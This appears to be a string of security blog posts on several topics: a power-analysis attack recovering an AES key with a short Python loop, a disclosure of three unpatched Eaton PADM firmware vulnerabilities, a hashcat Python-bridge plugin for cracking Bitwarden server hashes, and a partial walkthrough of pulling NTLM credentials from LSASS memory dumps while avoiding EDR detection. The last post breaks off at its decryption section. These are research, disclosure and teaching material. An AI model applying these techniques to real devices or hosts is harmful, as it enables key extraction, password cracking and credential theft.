Unfortunately, if the threat model involves the device holding a key secret from an attacker with physical access, securing it becomes a lot harder. Even a strong encryption algorithm implemented correctly can leak information in ways a physical attacker can observe.

There are many ways this leakage can occur, from timing differences in software to electromagnetic emissions from a chip. This post is intended to provide a basic understanding of one such method, in which an attacker records detailed traces of a target device’s power consumption across many cryptographic operations in order to deduce information about the device’s internal state and ultimately recover a secret key.

To demonstrate this, we’ll use a classic side-channel attack to recover an AES-128 key from power measurements taken while a real chip performs encryptions, and visualize the data to build intuition about how the attack works.

All of the traces used below come from the public ChipWhisperer SCA101 course data set. If this post piques your interest, check out the Jupyter notebooks over there. You can work through the lab yourself with or without hardware.

Let’s jump in!

The target

Our target device is a minimal example of crypto performed on hardware using a read-protected key. It takes a plaintext as input and encrypts it with a secret key compiled into the firmware. We’ll act from the perspective of an attacker who does not have any way to extract the firmware, but who does have physical access to the target device.

Our goal is to use this physical access to measure whatever we can about the target during operation and use the information we collect to infer the secret key.

The side channel

Since we cannot attach probes inside the chip itself (well, we could, but it would be very expensive), we’re limited to the pins exposed on the exterior of the chip. All chips consume electricity, and the amount consumed can vary based on the instruction being executed and even based on the data being acted upon. This makes the chip’s power input a natural place to look for information leakage.

A typical setup places a small shunt resistor in the target’s power line and measures the voltage across it. By Ohm’s law, changes in that voltage correspond to changes in the current flowing into the target. Conceptually, the setup looks like this:

We place the shunt resistor in series with the target chip’s power input, and place our measurement probes on either side of that resistor.

As transistors inside a chip change state, they draw current. The exact amount depends partly on the operation being performed and the data being processed. We can sample this measurement many times per second and build up a full trace across the encryption being performed. Once captured, this trace shows a full timeline of the changes in power consumption across the entire target operation.

Note: The visualizations in this post are shown at a reduced sample rate to make them easier to look at. The actual traces were recorded at 100x this resolution, and that original sample rate is what the analysis will be performed upon.

This makes a nice looking trace, but the key isn’t exactly jumping out at us. How do we interpret this?

A pile of traces

In this technique, we’ll use a whole collection of traces and analyze them statistically to answer questions about what’s going on in the target. Because we control the plaintext being fed into the device, we can vary it across runs and record what plaintext we fed in each time.

If we stack those captures on top of each other, they look nearly identical:

Most of that shared shape is background activity. The target follows the same execution path and performs the same sequence of AES operations in every trace. What changes is the data passing through those operations.

This is why we vary the plaintext. Different inputs produce different intermediate values, which produce slightly different measurements. Subtracting the average trace makes those variations easier to see, as the animation shows, but we still don’t know which variation is related to our key.

To answer that, we need to choose a value inside AES that we can predict.

Reducing AES to one unknown byte

At the start of AES-128, each plaintext byte is XORed with one byte of the key. The first round’s SubBytes operation then passes the result through the public AES substitution table, or S-Box.

For a single byte position, the operation we care about is:

SBox[plaintext_byte XOR key_byte]

We know the plaintext byte. We know the S-Box. The only missing value is one byte of the key, so there are only 256 possibilities to test.

For each possible key byte, we calculate the S-Box output that the device would produce for every captured plaintext. The S-Box is nonlinear, so those 256 key guesses produce distinct sequences of predicted values.

Of course, the oscilloscope didn’t record a list of S-Box outputs. It recorded voltage. We need one more approximation before we can compare the two.

A (very) rough power model

We know that storing data requires transistors to change state, and that flipping the state of a transistor requires current. From this, we can guess that the amount of power consumed in a given step will correlate roughly with the number of 1 bits to be stored, as more 1 bits likely means more transistors accumulating charge. (The number of 1 bits in a value is called its “Hamming weight”, so we’ll use that term going forward. For example, the Hamming weight of 0b10110100 is four.)

This is all very approximate, and that’s what’s so brilliant about this attack: the model does not need to be very precise at all. The same nonlinearity property that makes AES strong works in our favor here by making small perturbations in the input data magnify into large swings in power draw from trace to trace. As long as our model is good enough to correlate statistically with those swings better than it does with the background noise, we can use it to deduce information.

So if we accept the Hamming weight of a value as a rough proxy for the amount of current needed to store that value, we can start to model the relative amount of power that a chosen instruction should consume for each of our traces.

For every plaintext and key guess, we calculate:

predicted_power = HammingWeight(SBox[plaintext_byte XOR key_guess])

For one candidate key byte, our model gives us one predicted value per trace. The following plot shows the predictions for the 0x09 hypothesis across 200 traces:

Let the traces rank the guesses

We now calculate the similarity (the Pearson correlation works as a metric here) between our predicted values and the measured values at every sample in the traces.

At most points in time, the chip is doing something unrelated to our target value, so the correlation stays close to zero. Around the point where it handles the first-round S-Box output, the correct key hypothesis should correlate more strongly with the measured power than the incorrect hypotheses.

We repeat this process for all 256 possible key-byte values and compare their strongest correlation peaks. In this data set, 0x09 reaches a peak correlation of 0.86, while the largest incorrect results are approximately 0.25. This tells us two things: 1. The result of the S-Box lookup is most likely stored at the point in time where this peak occurs. 2. The first key byte is most likely 0x09!

Wrong guesses are not guaranteed to produce perfectly flat results. There are all kinds of swings in power consumption outside of the single step we’re modeling that can create incidental peaks. What matters is that the correct candidate is clearly and repeatably separated from the others.

We have now recovered one key byte! Since this first-round operation depends on only one plaintext byte and one key byte, we can repeat the attack independently for each of the 16 byte positions:

for byte_index in range(16):
    for key_guess in range(256):
        predicted = [
            hamming_weight(SBOX[p[byte_index] ^ key_guess])
            for p in plaintexts
        ]
        score[key_guess] = maximum_absolute_correlation(predicted, traces)

    recovered_key[byte_index] = max(score, key=score.get)

Instead of searching the full 2¹²⁸ AES key space, we evaluate at most 16 × 256 = 4,096 key-byte hypotheses. With these clean traces from an unprotected implementation, the analysis itself takes only a few seconds.

Why this belongs in a hardware threat model

The attack requires capabilities that many application threat models reasonably exclude. For this demonstration, an attacker needs enough access to collect aligned measurements while the device performs operations under a stable key. The attacker must also know the corresponding plaintexts. But this is one of the most primitive versions of this attack, chosen because it was easy to illustrate for a blog post. Real, modern attacks leverage machine learning and advanced power modeling to attack more complex algorithms, eliminate the known plaintext requirement, and even infer the machine instructions that make up the target code (SCARE)

Those assumptions are much more realistic for smart cards, embedded devices, self-encrypting drives, hardware roots of trust, accelerators, and other components to which a determined attacker may obtain physical access.

The impact also extends beyond disclosure of one AES key. A device may use long-lived secrets to protect storage, establish its identity, produce attestation evidence, authenticate firmware, or communicate with the rest of a platform. Extracting the right key can undermine the security boundary that the entire system depends on.

This is one reason a hardware security review should begin with the product’s threat model and critical assets rather than a generic checklist. If physical attackers are relevant and a crypto block handles a high-value key, side-channel resistance is something we need to test, not assume.

The OCP S.A.F.E. review framework makes that distinction explicit. Its Scope 1 and Scope 2 reviews cover areas such as firmware, cryptographic construction, key handling, and trust boundaries. Scope 3 adds resilience to physical attacks, including whether cryptographic blocks are designed to resist side-channel analysis and whether critical operations handle glitch attacks securely.

Not every component needs a Scope 3 review. The appropriate depth depends on the assets, deployment environment, and adversary defined in the threat model. A hardware root of trust holding a long-term device identity key, for example, deserves different physical scrutiny from an application processor that never handles the same class of secret.

ivision is an OCP-approved S.A.F.E. Security Review Provider. For us, techniques like the one in this post are one part of a broader device review: understand what the product is expected to protect, map the logical and physical attack surfaces, test the relevant assumptions, and help the vendor address the results before deployment.

Further reading

• ChipWhisperer SCA101 Course — interactive side-channel labs and the source of the traces used in this post.
• OCP S.A.F.E. Review Scope — the review areas and three assessment scopes defined by the framework.
• Kocher, Jaffe, and Jun, “Differential Power Analysis” (1999) — the original DPA paper.
• Brier, Clavier, and Olivier, “Correlation Power Analysis with a Leakage Model” (2004) — the paper introducing CPA.

The animations were generated with Manim Community using ChipWhisperer SCA101 capture data.

Our research focused on the Tripp Lite LX series of power management devices, which Eaton sells for data centers and offices. The series includes rack-mounted power strips that let administrators switch individual outlets on and off remotely, battery backup units that keep equipment running through an outage, and sensors that report conditions such as temperature and humidity. Rather than maintain separate software for each product line, the series runs common management firmware called PowerAlert Device Manager (PADM), which provides the network-based management interfaces used to administer the devices.

We identified three vulnerabilities in PADM version 15.5.7 (build 1094). Each is useful on its own, but chained together they give an unauthenticated attacker with network access unrestricted root code execution on devices.

We reported the vulnerabilities to Eaton’s Product Security Incident Response Team on January 16, 2026. On July 28, 2026, Eaton published advisory ETN-VA-2026-1005 and allocated three CVEs:

• Authentication bypass via unauthenticated SQL injection in web API: CVE-2026-22620 - CVSS 8.6
• Arbitrary shell command execution via SSH interface: CVE-2026-22621 - CVSS 8.3
• Local privilege escalation to root: CVE-2026-22622 - CVSS 8.8

As described in their advisory, Eaton has chosen to end-of-life the PADM firmware, effective March 31, 2026, and will not be patching these issues. That decision covers the whole line, both 15.x and 20.x, so no version of PADM will receive further updates.

The advisory also does not say which versions are affected. Our work was confined in PADM 15.5.7, and without a definitive list, owners should assume that all prior 15.x releases are vulnerable. We did not assess PADM 20.x, and so are unable to provide confirmation for whether this version is affected as well.

If you operate devices running PADM firmware, ensure that adequate network controls are in place and that the devices are only reachable by trusted hosts. Where possible, disable the web-based and SSH-based management interfaces to reduce exposure. Fuller detail is in the mitigation guidance below.

Because no fix is available, this post describes the issues only at the level needed for owners to understand their exposure and take protective steps. We’ll follow up later with an in-depth technical description of the vulnerabilities and how we found them.

The vulnerabilities

Authentication bypass in the web management API via SQL injection (CVE-2026-22620)

PADM provides a web-based UI, enabled by default, which is driven by an API running on the device. We found that the API was vulnerable to unauthenticated SQL injection, and that the flaw could be used to issue a valid session token for an administrator account, bypassing authentication to the UI. With that access, an attacker could exercise the full set of management operations: power control, user creation, and enabling additional services.

Once administrator access is gained, an attacker could create a new administrator account with a known password and enable the device’s SSH management interface if it was not already running. Logging in over SSH with that account, they could then chain the two issues described below to gain full root access.

Command injection in SSH management interface and local privilege escalation to root (CVE-2026-22621, CVE-2026-22622)

PADM provides a text-based management CLI over SSH for administrator users. It is not a shell, and users are not meant to be able to run shell commands from it.

Improper sanitization and escaping of user-supplied input allowed shell commands to be executed anyway. Two measures were in place to limit what those commands could do: they were executed as an unprivileged user account, and they were confined to a chroot environment containing a minimal set of binaries.

Neither measure was effective. We found that the chroot environment was constructed in a way that allowed it to be escaped, and that a separate input sanitization issue in the same code path allowed commands to be executed as root rather than as the unprivileged account. Together, these gave us unrestricted root access to the underlying system.

Affected products and versions

Our research was done against PADM 15.5.7 (build 1094) running on a PDU15NETLX network-connected power distribution unit. PADM is common firmware across the Tripp Lite LX series, so we expect these vulnerabilities affect other products in the series, including Tripp Lite UPSes, environmental monitoring systems, and devices that integrate the WEBCARDLXE network management card.

During our communication with Eaton PSIRT, we attempted to obtain a listing of firmware versions and products affected by these issues, but we were ultimately unsuccessful in doing so. Their advisory does not specify which versions are affected either, so in the absence of a definitive list, users are advised to operate under the assumption that all 15.x versions are vulnerable.

At the time of our research, we did not have access to devices running PADM 20.x, so we could not assess whether that version is similarly affected.

Mitigation

Eaton’s advisory states that no security update will be made available to address these issues, and support for both PADM 15.x and 20.x has been discontinued.

If you operate devices running PADM 15, ivision recommends the following to reduce exposure:

• Restrict network access so that management interfaces are reachable only from a small set of trusted administrative hosts, ideally on an isolated management network.
• Disable the web-based and SSH management interfaces where they are not required. Both interfaces are enabled by default.
• Treat any device running PADM 15 as offering root access to every host that can reach its management interfaces, and position it on your network accordingly.

These steps reduce exposure but do not eliminate it. Because Eaton has discontinued support for all versions of PADM firmware, a plan should ultimately be made to retire or replace these devices.

Disclosure timeline

• 2026-01-16 - Reported three vulnerabilities to Eaton PSIRT
• 2026-01-19 - Eaton PSIRT confirmed receipt
• 2026-02-16 - ivision requested a status update and asked about Eaton’s plans for issuing a public advisory
• 2026-03-16 - Eaton PSIRT confirmed removal of the affected firmware from its download page
• 2026-05-21 - ivision notified Eaton of intent to publish on 2026-06-22, offering up to 30 additional days to coordinate
• 2026-05-26 - Eaton PSIRT requested the opportunity to review the publication
• 2026-06-18 - ivision asked Eaton for affected products and versions, patch plans, mitigation guidance, and PSIRT advisory plans. Moved the publication target to 2026-07-21
• 2026-07-09 - ivision sent a draft of the technical post to Eaton PSIRT for review
• 2026-07-21 - Eaton PSIRT responded, stating end-of-life status, no planned patches
• 2026-07-22 - ivision asked whether Eaton intended to publish an advisory
• 2026-07-24 - Eaton PSIRT confirmed an advisory was planned
• 2026-07-28 - Eaton published advisory ETN-VA-2026-1005
• 2026-07-30 - CVE-2026-22620, CVE-2026-22621, and CVE-2026-22622 published

References

• Eaton advisory ETN-VA-2026-1005
• CVE-2026-22620 - authentication bypass in the PADM web management API (CVSS 3.1 base score 8.6)
• CVE-2026-22621 - arbitrary command execution via the PADM SSH management interface (CVSS 3.1 base score 8.3)
• CVE-2026-22622 - privilege escalation via the PADM SSH management interface (CVSS 3.1 base score 8.8)
• End-of-life notice for Tripp Lite Series PADM firmware (requires a MyEaton account)

The hashcat project released v7 on August 1, 2025. There were many changes, as detailed in the extensive and informative release notes, but the one I’ll focus on in this blog post is the Python bridge. I’ll cover the current version at the time of writing, v7.1.2.

A quick summary: The Python bridge lets users take a Python implementation of a custom hash and use it from hashcat, taking advantage of hashcat’s candidate generation, parallelization, potfile support, and more. The big caveat is that the Python hash calculations run on the CPU, and there is no support for GPUs or other devices like FPGAs.

My thoughts after reading about this were “this sounds great! But how easy is the integration? And what is the performance like?” So I implemented some things, wrote some benchmarks, and published this post to share the results.

Writing a Python Plugin

For the rest of this post I will use the Bitwarden server hash algorithm, described in a prior post series. Knowledge of the algorithm isn’t important for this post, but having a familiarity with the hash structure, especially the salts, will help a lot. In this section I will describe how to implement that algorithm using only Python. In the following section I will go into some of the Python bridge implementation details.

The best starting point is the Python plugin development guide, which gives theoretical and practical information about the Python bridge.

The big implementation detail that surprised me is that hash digest line formats have strict requirements that prevent you from using digests you find in the wild. For example, a common hash line format found in Linux shadow files is md5crypt—$1$f8Dj$CylA5fgvpRAWfprOHyvUr1—but this digest would require preprocessing first. Due to implementation details, hash lines have to be in the format digest*salt.

With that out of the way, we can implement our hash. First, set up your local source code repository and make sure you can build hashcat, following BUILD.md. Once that is set up, copy Python/generic_hash_mp.py to a new file¹ (if you are on Windows/macOS, replace mp with sp and 73000 with 72000 for the rest of this post, and expect slower results: explanation). To be clear, all pure Python plugins will use hash mode 73000/72000, regardless of the Python script.

We need to make 3 changes to the new script:

1. Add imports and helper functions.
2. Replace ST_HASH.
3. Implement calc_hash(...).

First, we copy the helper functions unchanged from the beginning of https://research.ivision.com/bitwarden-server-hashcat-plugin-2-hashcat.html:

import base64


def inner_hash(rounds1, email, password):
    masterkey = hashlib.pbkdf2_hmac("sha256", password, email, rounds1)
    masterpasswordhash = hashlib.pbkdf2_hmac("sha256", masterkey, password, 1)
    return masterpasswordhash


def outer_hash(password, inner_rounds, outer_rounds, email, salt):
    subkey = base64.b64encode(inner_hash(inner_rounds, email, password))
    keyHash = hashlib.pbkdf2_hmac("sha256", subkey, salt, outer_rounds)
    return keyHash

Second, we copy and rearrange the self-test (ST) hash from the same post:

# $bitwarden-server$1*10000*10000*bm9yZXBseUBoYXNoY2F0Lm5ldA==*0ANf7tTj2zwkl3/hf5Zohg==*5ynxBxAsJJ95vgEL/uDVcXseLbyIsHRGFdTXCVvbRlo=
# ^                 ^ ^     ^     ^                            ^                        ^
# type              | |     |     email/inner salt (base64)    outer salt (base64)      digest (base64)
#                   | |     outer round count
#                   | inner round count
#                   version

ST_HASH = "5ynxBxAsJJ95vgEL/uDVcXseLbyIsHRGFdTXCVvbRlo=*10000$10000$bm9yZXBseUBoYXNoY2F0Lm5ldA==$0ANf7tTj2zwkl3/hf5Zohg=="
#          ^                                            ^     ^     ^                            ^
#          digest (base64)                              |     |     email/inner salt (base64)    outer salt (base64)
#                                                       |     outer round count                                     
#                                                       inner round count                                           

Third and finally, we implement calc_hash:

def calc_hash(password: bytes, salt: dict) -> str:
    inner_rounds, outer_rounds, email, outer_salt = hcshared.get_salt_buf(salt).split(b"$")
    out_hash = outer_hash(password, int(inner_rounds), int(outer_rounds), base64.b64decode(email), base64.b64decode(outer_salt))
    return base64.b64encode(out_hash).decode()

The rest of the code from Python/generic_hash_mp.py can stay the same. The full file can be found here.

We can test it out with -b, which will first run a self-test to make sure it calculates ST_HASH correctly and then benchmark a bunch of hashes:

aralls@serpentine hashcat $ ./hashcat -m 73000 --bridge-parameter1 Python/73000-bws.py -b
hashcat (v7.1.2-173-g81ba0c1a3) starting in benchmark mode

<snip>

Assimilation Bridge
===================
* Unit #01 -> #01: Python Interpreter (3.13.7 (main, Aug 15 2025, 12:34:02) [GCC 15.2.1 20250813])

<snip>

---------------------------------------------------------------------------------------
* Hash-Mode 73000 (Generic Hash [Bridged: Python Interpreter with GIL]) [Iterations: 1]
---------------------------------------------------------------------------------------

Speed.#*.........:     2710 H/s (0.07ms) @ Accel:128 Loops:1 Thr:32 Vec:1

And that’s it! In <15 minutes we’ve replicated dozens of hours of my work implementing the hash in OpenCL. But that wasn’t wasted time, because this Python version should be much slower than the accelerated hash, right? …right?

Benchmarks

Before getting into the numbers, a big disclaimer: benchmarking is tricky because it depends heavily on both the hardware and the software stack. Even the single-digit percent differences between Python and OpenCL implementations might be orders of magnitude different on your systems.

For my benchmarks, I compared an identical algorithm implemented in Python (mode 73000, shown previously in this post) and OpenCL (mode 23410). When possible, I tried using different OpenCL backends on the same hardware as well.

Note 1: Uh oh! The Python implementation runs almost 40% faster than the OpenCL implementation on the exact same hardware and software! This appears to be the fault of Intel’s OpenCL implementation really sucking on this CPU. PoCL is significantly faster than either.

Note 2: The same code on the same hardware runs around 30% faster in a container (LXC) than on the host! I believe that this has something to do with the only available OpenCL backend on the host being for the GPU. “But wait”, you might say, “isn’t this using the Python bridge, not OpenCL?” Well it turns out that the Python bridge does use OpenCL, as explained in the following section.

Note 3: If you compare these numbers to my older benchmarking numbers, you will notice that they are very different. Previously I ran an attack mode 0 dictionary+rule attack and reported the running rate, as opposed to the benchmark (-b) mode used for this table.

I would have really liked to have tested more OpenCL backends against each other, but unfortunately I encountered many cases where they would break in a variety of ways. On multiple systems I tried to test, I couldn’t even get a single CPU OpenCL backend running.

With the oddities out of the way, here are the takeaways from benchmarking:

• Dedicated GPUs are much, much faster than consumer CPUs for hash cracking, even top-of-the-line models.
• Integrated GPUs are a mixed bag.
• OpenCL implementations ran from 16% to 370% faster than Python implementations on the same CPU and software.

So is it worth implementing OpenCL modules now that we have Python modules? If you have access to any dedicated GPU hardware, even ones that are 10 years old, then yes, you should expect a minimum of an order of magnitude speed increase. With modern hardware, you should see an increase of more than 500 times. If, for whatever reason, you only have access to CPUs, then the answer is that it depends on the CPU and how much you value implementation time vs cracking time, but probably not.

Deeper Dive Bonus Section

This section goes into hashcat internals and shows how to expend significantly more effort for basically no gain. If a Python script plugin doesn’t fulfill all your requirements or you’re curious about implementation details, read on. Otherwise:

Skip to the conclusion.

Python Bridge Details

So far we’ve used the Python bridge without really knowing what’s going on under the hood. In this bonus section, I’ll tell you how to implement a custom module that uses the Python bridge (and why you’d want to do that), but before we can do that, we have to understand a little bit of hashcat’s architecture. Big caveats: I’m going to stay surface level, only cover the simplest cases, and ignore critical components like salt handling. I’m sure a hashcat core developer would say “well that’s not really how it works” about every other sentence.

In hashcat v6 (pre-bridges), the cracking flow looked like this:

1. hashcat initializes, selects appropriate hash mode plugin²
2. the plugin’s C module parses the hash line into digest, salts, etc.
3. hashcat sends parsed data to target device (GPU, CPU, etc.)
4. the plugin’s kernels execute. The simplest case involves:
   1. init loads data into appropriate data structures
   2. loop executes the hash
   3. comp compares the computed digest to the input digest
5. if a digest matches, hashcat pulls the password candidate and computed digest off the target device
6. the plugin’s C module reformats the digest into the printable hash line
7. hashcat prints the result, writes it to a potfile, etc.

Hashcat v7 introduced bridges, which make the connections between the different components customizable. Hash mode 73000, the default implementation of the Python bridge, now looks like:

1. hashcat initializes the plugin for hash mode 73000. The Python bridge starts a Python process.
2. the plugin’s C module parses the hash line into digest, salts, etc.
3. hashcat sends parsed data to device (GPU, CPU, etc.)
4. the plugin’s kernels execute:
   1. init loads data into appropriate data structures
   2. Python bridge copies the data back to the host and into the Python process
   3. Python executes the specified script to compute the hash
   4. Python bridge copies the computed digest from the Python process to device
   5. comp compares the computed digest to the input digest
5. if a digest matches, hashcat pulls the password candidate and computed digest off the device
6. the plugin’s C module reformats the digest into the printable hash line
7. hashcat prints the result, writes it to a potfile, etc.

A fair amount of this flow was a surprise to me when I figured it out:

• It still runs OpenCL kernels as part of the pipeline.
• Parsing still happens in a C module.
• Data is copied back and forth between the OpenCL device and the Python process on the host multiple times for every password candidate.

Taking a step back, we have implementations of a fully custom plugin in previous posts and a pure Python implementation previously in this post. There is a hybrid option as well: a custom plugin that uses the Python bridge. You don’t have to use hash mode 73000 to use the Python bridge.

Looking at the numbered flow list for hash mode 73000, items 2, 4.1, 4.5, and 6 make up the plugin, while item 4.3 is the Python code. In the next section we’ll reimplement the plugin so that it understands the same hash lines as the fully custom plugin but computes them in Python.

Why would you want to implement a custom plugin that uses the Python bridge? Most of the time, you wouldn’t, but there are some good reasons to:

• To be able to parse arbitrary hash lines instead of the simple format required by hash mode 73000.
• As an intermediate step in writing a full plugin, so that the parsing code can be tested separately from the OpenCL computation code. This would have saved me significant headache.
• To use the Python bridge in other ways. For example a plugin can split its computation between OpenCL for the first loop kernel and a Python script for loop2. This is also a stepping stone to using a non-Python bridge like hash mode 70100 does.
• For an educational exercise to understand the architecture better, which was my true reason.

Writing a Custom Module for the Python Bridge

We want to copy the standard plugin that uses the Python bridge, hash mode 73000, and modify it. In this case we can take the preexisting Bitwarden-server-specific code from plugin 23410 and the Python script and merge it into our new plugin, 23411 (the number doesn’t matter, so I just incremented it by one). Sounds simple enough, right?

Except there is one architectural change that we need to make to the 23410 plugin. The digest size for our hash is 32 bytes, but the Python bridge hard-codes a 16-byte digest buffer. The standard Python bridge plugin, 73000, handles this by computing an MD4 digest of the raw digest and passing that around instead. The risk of a false positive is the risk of an MD4 collision, which is to say a 1/2^128 chance. Wrapping the digest with MD4 necessitates modifications to both the C module and the OpenCL kernels.

And because the salt handling is completely different, we’ll need to rewrite the Python calculation functions from before.

So even though this is “just” combining a few pieces of code that are already written, it turned out to require a fair amount of effort.

The code can be found on GitHub. I find that looking at a 3-way diff for each file between 7300, 23410, and 23411 to be the most helpful. GitHub doesn’t offer a way to do that on the web as far as I know, but you can download the code and use, for example, vim -d src/modules/module_73000.c src/modules/module_23411.c src/modules/module_23410.c, vim -d OpenCL/m73000-pure.cl OpenCL/m23411-pure.cl OpenCL/m23410-pure.cl, and vim -d Python/73000-bws.py Python/23411.py.

Since most of the code is reused, I won’t go through all of it, except I will cover the data structures, because they can be tricky.

Data Structures

There are two main data structures that (slow) hashcat plugins use: a tmp struct and a salt struct.

The tmp struct is generally used for local storage on a computation device (GPU) of IO data and as a temporary buffer for computation intermediaries. The Python bridge hardcodes a particular struct, so there’s no need to make any decisions about it:

typedef struct
{
  // input

  u32 pw_buf[64];
  u32 pw_len;

  // output

  u32 out_buf[32][64];
  u32 out_len[32];
  u32 out_cnt;

} generic_io_tmp_t;

The init kernel loads the password candidates from the global pws structure into the pw_buf and pw_len fields of the tmp struct in order for the Python bridge to pass those along to the Python script. The reverse happens in the comp kernel when it evaluates the computed digests in the out_buf and out_len fields that are loaded from the Python bridge as the result of the Python script.

The salt struct, however, requires customization. The default Python plugin, 73000, uses the default salt structure, salt_t. We would like to store more than a single salt, so we define a custom esalt structure. We could theoretically stuff everything into the salt_t structure, but that would be messy.

typedef struct bitwarden_server_double_salt
{
  u32 inner_salt_buf[64];
  int inner_salt_len;

  u32 outer_salt_buf[64];
  int outer_salt_len;

  u32 hash_buf[11];
} bitwarden_server_double_salt_t;

The main purpose of the salt struct is to pass the salts around. However if you compare this esalt structure to the struct in 23410, you’ll notice an extra field, hash_buf[11]. This is because of the architectural change I mentioned, because the Python bridge hard-codes a small digest buffer size. So we need to pass the MD4 digest of the target digest in the normal digest_buf, and we also need to store the full digest in order to print it once it is cracked. The reason it’s 11 u32s is because we’re keeping it base64-encoded (32 bytes raw × 4/3 = 43 max bytes base64, rounding to the nearest 4 (sizeof u32) is 44, or 11 u32s).

In the Python script, we have to modify the extract_esalts function to match the salt struct:

# Python/generic_hash_mp.py
for hash_buf, hash_len, salt_buf, salt_len in struct.iter_unpack("1024s I 1024s I", esalts_buf):
# Python/23411.py
for inner_salt_buf, inner_salt_len, outer_salt_buf, outer_salt_len, hash_buf in struct.iter_unpack("256s I 256s I 44s", esalts_buf):

Conclusion

Writing a pure-Python hashcat plugin is pretty easy once you get used to a few quirks. Compared to a standalone Python script, the performance is much better than I expected, and being able to use standard hashcat password candidate generation is very nice.

Writing a custom hashcat plugin that uses the Python bridge is not as easy. It probably only makes sense to do as part of a larger plugin development project, but if you’re already planning that, using the Python bridge during development might be a huge aid. It is not worth writing a custom parsing plugin just so that your Python script can handle custom hash lines; just write another script to convert them.

Overall, bridges are an extremely cool addition to the already amazing hashcat ecosystem. In the future I plan on doing more with bridges, especially trying to go beyond the Python bridge.

All of the code from this post can be found on GitHub.

The Local Security Authority Subsystem Service (LSASS) on Windows is responsible for managing security policy, user authentication, password changes and managing access tokens, implemented by the lsass.exe process. Instead of attempting to dump the memory of the lsass.exe process, one could just take a full memory dump, and then parse it offline and extract the secrets (if Credential Guard is disabled). This appears to be, ironically, stealthier: taking a bigger, full-system dump generates less suspicious telemetry than a targeted dump of lsass.exe, due to the existence of well-known forensics and incident response tools that take full memory dumps by installing a signed kernel driver to read physical memory. EDRs generally leave them alone; they’re known-good tools, and blocking them would break incident response workflows.

Taking full memory dumps and using tooling to parse them offline is not a new technique (see here and here). However, we faced a some technical challenges when attempting it: mimilib seems to be abandoned/outdated and doesn’t support modern (2021+) Windows systems and it does not do Kerberos ticket extraction either.

During our research, we inspected what tools like Mimikatz, Pypykatz or Volatility actually do when they extract credentials from memory or a memory image.

This series aims to explain what we learned about the LSASS memory layout, how credentials are stored, and how these tools work under the hood, specifically for NTLM hashes and Kerberos ticket extraction. This first piece covers MSV1_0, the Windows component responsible for NTLM-based logins. Part II will cover Kerberos and ticket extraction.

Windows authentication and the LSASS process

LSASS (Local Security Authority Subsystem Service), running as lsass.exe, is the core Windows process responsible for authentication. One of its components, the Local Security Authority (LSA), handles user authentication, using a plugin-like system (“security packages”) for the different authentication mechanisms. These can function as Security Support Providers (SSP), Authentication Packages (AP), or both; SSPs implement network authentication protocols (e.g. NTLM, Kerberos) and APs authenticate users using those protocols.

A security package that functions as an authentication package and implements the functionality required by a SSP is called a security support provider/authentication package (SSP/AP). The Kerberos SSP/AP is an example of this.

The MSV1_0 authentication package

MSV1_0 (msv1_0.dll) is the Windows AP responsible for NTLM-based logins. When a user logs in, the local security authority calls into MSV1_0, which validates the credential against the local SAM database (for local logins) or forwards it to the domain controller via NetLogon (for network logins). After a successful authentication, MSV1_0 stores the derived credential material (NT hash, LM hash, SHA1) so it can be reused for pass-through authentication without prompting the user again.

MSV1_0 and the other authentication packages are hosted by the lsass.exe process. The LSA core logic is implemented on the lsasrv.dll module, which maintains a global doubly-linked list called LogonSessionList. Each entry is a logon session with attached credential chains. The secrets are encrypted in memory with AES or 3DES, but the keys and initialization vectors are stored in the same process memory:

Extracting MSV credentials

All of the following was run against a full memory dump of a Windows 10 21H2 (build 19044) host, opened in WinDbg with the lsass.exe process context set (explained below).

Note: None of the structures mentioned in this post are documented by Microsoft; public symbols cover a fraction of what LSASS actually does internally. The field names, offsets, and layouts used throughout this post come largely from the work of Benjamin Delpy (@gentilkiwi), author of Mimikatz, who mapped out most of the LSASS internals that make credential extraction possible. ReactOS is another useful source when you need pointers (pun intended :D).

Extraction

Extraction overview

The public PDB files that Microsoft provides for lsasrv.dll contain debug symbols for LogonSessionListCount and LogonSessionList, which we can use from WinDbg to traverse the doubly-linked list of logon sessions.

On Windows 10 1607 through Windows 11 23H2, LogonSessionList points to a structure similar to the following (some fields have been omitted for brevity):

typedef struct _MsvLogonSession {
    struct _MsvLogonSession* Flink;
    struct _MsvLogonSession* Blink;
    (...)
    LSA_UNICODE_STRING Username;
    LSA_UNICODE_STRING Domain;
    (...)
    LSA_UNICODE_STRING Type;
    (...)
    PMsvCredentialsEntry Credentials;
    (...)
} MsvLogonSession, *PMsvLogonSession;

Flink and Blink are the forward and backward pointers to other entries in the list; MsvLogonSession->Credentials is a pointer to a MsvCredentialsEntry structure, which is a singly-linked list. Each MsvCredentialsEntry->PrimaryCredentials field points to another singly-linked list: _MsvPrimaryCredentialsEntry.

typedef struct _MsvCredentialsEntry {
    struct _MsvCredentialsEntry*        next;
    DWORD                               AuthenticationPackageId;
    PMsvPrimaryCredentialsEntry         PrimaryCredentials;
} MsvCredentialsEntry, *PMsvCredentialsEntry;

typedef struct _MsvPrimaryCredentialsEntry {
    struct _MsvPrimaryCredentialsEntry* next;
    ANSI_STRING                         Primary;
    LSA_UNICODE_STRING                  Credentials;
} MsvPrimaryCredentialsEntry, *PMsvPrimaryCredentialsEntry;

In the example below, the first node contains only zeros; we just follow LogonSessionList->Flink to the next node.

Finally, MsvPrimaryCredentialsEntry->Primary is an ANSI_STRING and MsvPrimaryCredentialsEntry->Credentials is an LSA_UNICODE_STRING:

typedef struct _ANSI_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PCHAR  Buffer;
} ANSI_STRING;

typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;

When PrimaryCredentials->Primary->Buffer contains the string “Primary”, PrimaryCredentials->Credentials->Buffer will then point to the encrypted blob containing the NTLM hash for that session, and PrimaryCredentials->Credentials->Length will contain the length of the encrypted blob.

Extraction summary

1. Start at LogonSessionList (symbol from lsasrv.dll PDB), which is the head of a doubly-linked list of MsvLogonSession entries
2. Traverse the list via Flink/Blink for all LogonSessionListCount entries, grabbing Username/Domain/Type along the way for identification
3. For each session, follow Credentials to reach the singly-linked list of MsvCredentialsEntry
4. From each MsvCredentialsEntry, follow PrimaryCredentials into another singly-linked list of MsvPrimaryCredentialsEntry
5. On each MsvPrimaryCredentialsEntry, check Primary.Buffer for the string "Primary"
6. Read the encrypted blob from Credentials.Buffer with size Credentials.Length

Decryption

Decryption overview

